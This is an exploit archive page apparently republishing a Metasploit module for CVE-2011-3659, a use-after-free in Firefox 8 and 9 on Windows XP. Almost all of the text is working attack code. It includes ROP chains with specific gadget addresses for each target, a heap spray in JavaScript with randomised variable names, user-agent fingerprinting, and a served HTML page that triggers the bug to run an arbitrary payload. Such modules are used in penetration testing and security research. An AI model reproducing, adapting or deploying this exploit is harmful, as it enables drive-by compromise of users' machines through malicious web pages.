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Firefox 8/9 AttributeChildRemoved() Use-After-Free

Firefox 8/9 AttributeChildRemoved() Use-After-Free
Posted May 14, 2012
Authored by regenrecht | Site metasploit.com

This Metasploit module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1. Removal of child nodes from the nsDOMAttribute can allow for a child to still be accessible after removal due to a premature notification of AttributeChildRemoved. Since mFirstChild is not set to NULL until after this call is made, this means the removed child will be accessible after it has been removed. By carefully manipulating the memory layout, this can lead to arbitrary code execution.

tags | exploit, arbitrary, code execution
advisories | CVE-2011-3659
SHA-256 | 0750feb0c6b04b3e549b1720e08f8946c5ad47833c85f2914592e886fe867eb0

Firefox 8/9 AttributeChildRemoved() Use-After-Free

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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Firefox 8/9 AttributeChildRemoved() Use-After-Free',
'Description' => %q{
This module exploits a use-after-free vulnerability in Firefox 8/8.0.1 and 9/9.0.1.
Removal of child nodes from the nsDOMAttribute can allow for a child
to still be accessible after removal due to a premature notification
of AttributeChildRemoved. Since mFirstChild is not set to NULL until
after this call is made, this means the removed child will be accessible
after it has been removed. By carefully manipulating the memory layout,
this can lead to arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'regenrecht', #vulnerability discovery
'Lincoln<lincoln[at]corelan.be>', #Metasploit module
'corelanc0d3r<peter.ve[at]corelan.be>' #Metasploit module
],
'References' =>
[
[ 'CVE', '2011-3659' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/upcoming/'], #ZDI-CAN-1413
[ 'URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=708198' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'BadChars' => "\x00\x0a\x0d\x34",
'DisableNops' => true,
'PrependEncoder' => "\x81\xc4\x24\xfa\xff\xff" #ADD ESP, -5DC
},
'Platform' => 'win',
'Targets' =>
[
[ 'Automatic', {} ],
[
'Windows XP - Firefox 8 / 8.0.1',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x7818f50b, # XCHG EAX,ESP # POP EBP # POP EBX # RETN [MOZCRT19.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x0c0c0c0c, 0x7819548e, 0x0c0c0c10 ],
'FF' => 8,
'OS' => 'XP'
}
],
[
'Windows XP - Firefox 9',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed58, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x10006a01, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
'FF' => 9,
'OS' => 'XP'
}
],
[
'Windows XP - Firefox 9.0.1',
{
'Ret' => 0x0C0C0C0C,
'OffSet' => 0x606,
'Size' => 0x40000,
'StackFlip' => 0x1000ed4a, # XCHG EAX,ESP # ... # POP ESI # RETN [nspr4.dll]
'PopEsp' => [ 0x0c0c0c0c, 0x10006a11, 0x0c0c0c10 ], # POP ESP # RETN [nspr4.dll]
'FF' => 901,
'OS' => 'XP'
}
]
],
'DisclosureDate' => 'Dec 6 2011',
'DefaultTarget' => 0))

end

def autofilter
false
end

def check_dependencies
use_zlib
end

def junk(n=4)
return rand_text_alpha_upper(n).unpack("L")[0].to_i
end

def nop
return make_nops(4).unpack("L")[0].to_i
end

def get_rop_chain(ffversion,osversion)

# mona.py ROP chains

rop_chain = []

if ffversion == 8 and osversion == "XP"

rop_chain =
[
0x7819c80a, # POP EAX # RETN [MOZCRT19.dll]
0x781a909c, # ptr to &VirtualAlloc() [IAT MOZCRT19.dll]
0x7813af5d, # MOV EAX,DWORD PTR DS:[EAX] # RETN [MOZCRT19.dll]
0x78197f06, # XCHG EAX,ESI # RETN [MOZCRT19.dll]
0x7814eef1, # POP EBP # RETN [MOZCRT19.dll]
0x781503c3, # & call esp [MOZCRT19.dll]
0x781391d0, # POP EBX # RETN [MOZCRT19.dll]
0x00000001, # 0x00000001-> ebx
0x781a147c, # POP EDX # RETN [MOZCRT19.dll]
0x00001000, # 0x00001000-> edx
0x7819728e, # POP ECX # RETN [MOZCRT19.dll]
0x00000040, # 0x00000040-> ecx
0x781945b5, # POP EDI # RETN [MOZCRT19.dll]
0x78152809, # RETN (ROP NOP) [MOZCRT19.dll]
0x7819ce58, # POP EAX # RETN [MOZCRT19.dll]
nop, # nop
0x7813d6b7, # PUSHAD # RETN [MOZCRT19.dll]
].flatten.pack("V*")

elsif ffversion == 9 and osversion == "XP"

rop_chain =
[
0x10019ee9, # POP ECX # RETN [nspr4.dll]
0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
0x1000f994, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
0x10012ad0, # POP EBX # RETN [nspr4.dll]
0x00000000, # clear ebx
0x10006f41, # ADD EBX,EAX # XOR EAX,EAX # RETN
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
0x10019ee9, # POP ECX # RETN [nspr4.dll]
0x0c0c0c50, # xul.dll (Unicode string)
0x1000eeb4, # POP EDI # RETN [nspr4.dll]
0x1001f145, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
0x10004860, # POP EAX # RETN [nspr4.dll]
0x1001f111, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
junk, # win some, lose some
0x00750078, # xu
0x002e006c, # l.
0x006c0064, # dl
0x0000006c, # l
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
0x00A63374, # Delta to IAT VirtualAlloc()
0x10018ada, # ADD EAX,EDX # RETN [nspr4.dll]
0x10008ddf, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]
0x1000a031, # POP ESI # RETN ** [nspr4.dll]
0x1000a031, # POP ESI # RETN ** [nspr4.dll] (readable address)
0x10013f1f, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
0x1000687b, # POP EBP # RETN [nspr4.dll]
0x1001a59b, # & call esp [nspr4.dll]
0x10012ad0, # POP EBX # RETN [nspr4.dll]
0x00000001, # 0x00000001-> ebx
0x1000cf40, # POP EDX # RETN 00 [nspr4.dll]
0x00001000, # 0x00001000-> edx
0x1001069e, # POP ECX # RETN [nspr4.dll]
0x00000040, # 0x00000040-> ecx
0x1000eeb4, # POP EDI # RETN [nspr4.dll]
0x1000d6ce, # RETN (ROP NOP) [nspr4.dll]
0x10004860, # POP EAX # RETN [nspr4.dll]
0x10004860, # POP EAX # RETN [nspr4.dll]
0x100058B3, # PUSHAD # CALL EAX [nspr4.dll]
].flatten.pack("V*")


elsif ffversion == 901 and osversion == "XP"

rop_chain =
[
0x1000bfc1, # POP ECX # RETN [nspr4.dll]
0x10020060, # ptr to &LoadLibraryW() [IAT nspr4.dll]
0x1000f986, # MOV EAX,DWORD PTR DS:[ECX] # RETN [nspr4.dll]
0x1000f5ef, # POP EBX # RETN [nspr4.dll]
0x00000000, # clear ebx
0x10006f51, # ADD EBX,EAX # XOR EAX,EAX # RETN
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
0x1000bfc1, # POP ECX # RETN [nspr4.dll]
0x0c0c0c50, # xul.dll (Unicode string)
0x1000eea6, # POP EDI # RETN [nspr4.dll]
0x1000dda4, # ADD ESP,0C # RETN [nspr4.dll] - call LoadLibrary
0x10004870, # POP EAX # RETN [nspr4.dll]
0x10001ab4, # ADD ESP,10 # POP ESI # RETN [nspr4.dll]
0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
junk, # win some, lose some
0x00750078, # xu
0x002e006c, # l.
0x006c0064, # dl
0x0000006c, # l
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
0x00A63374, # Delta to IAT VirtualAlloc()
0x10018acf, # ADD EAX,EDX # RETN [nspr4.dll]
0x10008dd1, # MOV EAX,DWORD PTR DS:[EAX] # RETN ** [nspr4.dll]
0x1000e0b8, # POP ESI # RETN ** [nspr4.dll]
0x1000e0b8, # POP ESI # RETN ** [nspr4.dll] (readable address)
0x10013f14, # XCHG EAX,ESI # ADD DL,BYTE PTR DS:[EAX] # RETN [nspr4.dll]
0x100162d5, # POP EBP # RETN [nspr4.dll]
0x10019d12, # & push esp # ret [nspr4.dll]
0x1000f5ef, # POP EBX # RETN [nspr4.dll]
0x00000001, # 0x00000001-> ebx
0x1000cf2c, # POP EDX # RETN 00 [nspr4.dll]
0x00001000, # 0x00001000-> edx
0x10007e46, # POP ECX # RETN [nspr4.dll]
0x00000040, # 0x00000040-> ecx
0x1000eea6, # POP EDI # RETN [nspr4.dll]
0x1001ea03, # RETN (ROP NOP) [nspr4.dll]
0x10004870, # POP EAX # RETN [nspr4.dll]
0x10004870, # POP EAX # RETN [nspr4.dll]
0x100058c3, # PUSHAD # CALL EAX [nspr4.dll]
].flatten.pack("V*")


end

return rop_chain
end


def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

# determine the target FF and OS version

ffversion = ""
osversion = ""

agent = request.headers['User-Agent']

if agent !~ /Firefox\/8\.0/ and agent !~ /Firefox\/9\.0/
vprint_error("This browser version is not supported: #{agent.to_s}")
send_not_found(cli)
return
end

my_target = target
if my_target.name == 'Automatic'
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/8/
my_target = targets[1]
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0\.1/
my_target = targets[3]
elsif agent =~ /NT 5\.1/ and agent =~ /Firefox\/9\.0/
my_target = targets[2]
elsif vprint_error("This Operating System is not supported: #{agent.to_s}")
send_not_found(cli)
return
end
target = my_target
end

# Create the payload
print_status("Creating payload for #{target.name}")

rop = [ target['StackFlip'] ].pack("V")
rop << get_rop_chain(target['FF'],target['OS'])
rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

code = payload.encoded
code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

popesp = target['PopEsp'].flatten.pack("V*")
popesp_js = Rex::Text.to_unescape(popesp, Rex::Arch.endian(target.arch))

filler = [ junk ].pack("V*")
filler_js = Rex::Text.to_unescape(filler, Rex::Arch.endian(target.arch))

# random JavaScript variable names
i_name = rand_text_alpha(rand(10) + 5)
rop_name = rand_text_alpha(rand(10) + 5)
code_name = rand_text_alpha(rand(10) + 5)
offset_length_name = rand_text_alpha(rand(10) + 5)
randnum1_name = rand_text_alpha(rand(10) + 5)
randnum2_name = rand_text_alpha(rand(10) + 5)
randnum3_name = rand_text_alpha(rand(10) + 5)
randnum4_name = rand_text_alpha(rand(10) + 5)
paddingstr_name = rand_text_alpha(rand(10) + 5)
padding_name = rand_text_alpha(rand(10) + 5)
junk_offset_name = rand_text_alpha(rand(10) + 5)
single_sprayblock_name = rand_text_alpha(rand(10) + 5)
sprayblock_name = rand_text_alpha(rand(10) + 5)
varname_name = rand_text_alpha(rand(10) + 5)
thisvarname_name = rand_text_alpha(rand(10) + 5)
attr_name = rand_text_alpha(rand(10) + 5)
foo_name = rand_text_alpha(rand(10) + 5)
bar_name = rand_text_alpha(rand(10) + 5)
ni_name = rand_text_alpha(rand(10) + 5)
small_name = rand_text_alpha(rand(10) + 5)
addr_name = rand_text_alpha(rand(10) + 5)
run_name = rand_text_alpha(rand(10) + 5)
container_name = rand_text_alpha(rand(10) + 5)

# corelan precise heap spray:
# https://www.corelan.be/index.php/2011/12/31/exploit-writing-tutorial-part-11-heap-spraying-demystified/
# + trigger routine
spray = <<-JS

var #{rop_name} = unescape("#{rop_js}");
var #{code_name} = unescape("#{code_js}");
var #{offset_length_name} = #{target['OffSet']};

for (var #{i_name}=0; #{i_name} < 0x320; #{i_name}++)
{
var #{randnum1_name}=Math.floor(Math.random()*90)+10;
var #{randnum2_name}=Math.floor(Math.random()*90)+10;
var #{randnum3_name}=Math.floor(Math.random()*90)+10;
var #{randnum4_name}=Math.floor(Math.random()*90)+10;

var #{paddingstr_name} = "%u" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
#{paddingstr_name} += "%u" + #{randnum3_name}.toString() + #{randnum4_name}.toString();

var #{padding_name} = unescape(#{paddingstr_name});

while (#{padding_name}.length < 0x1000) #{padding_name}+= #{padding_name};

#{junk_offset_name} = #{padding_name}.substring(0, #{offset_length_name});

var #{single_sprayblock_name} = #{junk_offset_name} + #{rop_name} + #{code_name};
#{single_sprayblock_name} += #{padding_name}.substring(0,0x800 - #{offset_length_name} - #{rop_name}.length - #{code_name}.length);

while (#{single_sprayblock_name}.length < #{target['Size']}) #{single_sprayblock_name} += #{single_sprayblock_name};

#{sprayblock_name} = #{single_sprayblock_name}.substring(0, (#{target['Size']}-6)/2);

#{varname_name} = "var" + #{randnum1_name}.toString() + #{randnum2_name}.toString();
#{varname_name} += #{randnum3_name}.toString() + #{randnum4_name}.toString() + #{i_name}.toString();
#{thisvarname_name} = "var " + #{varname_name} + "= '" + #{sprayblock_name} +"';";
eval(#{thisvarname_name});
}

function #{run_name}() {
var #{attr_name} = document.createAttribute("#{foo_name}");
#{attr_name}.value = "#{bar_name}";

var #{ni_name} = document.createNodeIterator(
#{attr_name}, NodeFilter.SHOW_ALL,
{acceptNode: function(node) { return NodeFilter.FILTER_ACCEPT; }},
false);

#{ni_name}.nextNode();
#{ni_name}.nextNode();
#{ni_name}.previousNode();

#{attr_name}.value = null;

const #{addr_name} = unescape("#{filler_js}");
var #{container_name} = new Array();
var #{small_name} = unescape("#{popesp_js}")
while (#{small_name}.length != 30)
#{small_name} += #{addr_name};
for (#{i_name} = 0; #{i_name} < 1024*1024*2; ++#{i_name})
#{container_name}.push(unescape(#{small_name}));

#{ni_name}.referenceNode;

}
JS

# build html
content = <<-HTML
<html>
<head>
<meta http-equiv="refresh" content="3">
<body>
<script language='javascript'>
#{spray}
</script>
</head>
<body onload="#{run_name}();">
</svg>
</body>
</html>
HTML

print_status("Returning HTML")

# Transmit the response to the client
send_response(cli, content, {'Content-Type'=>'text/html'})

end

end

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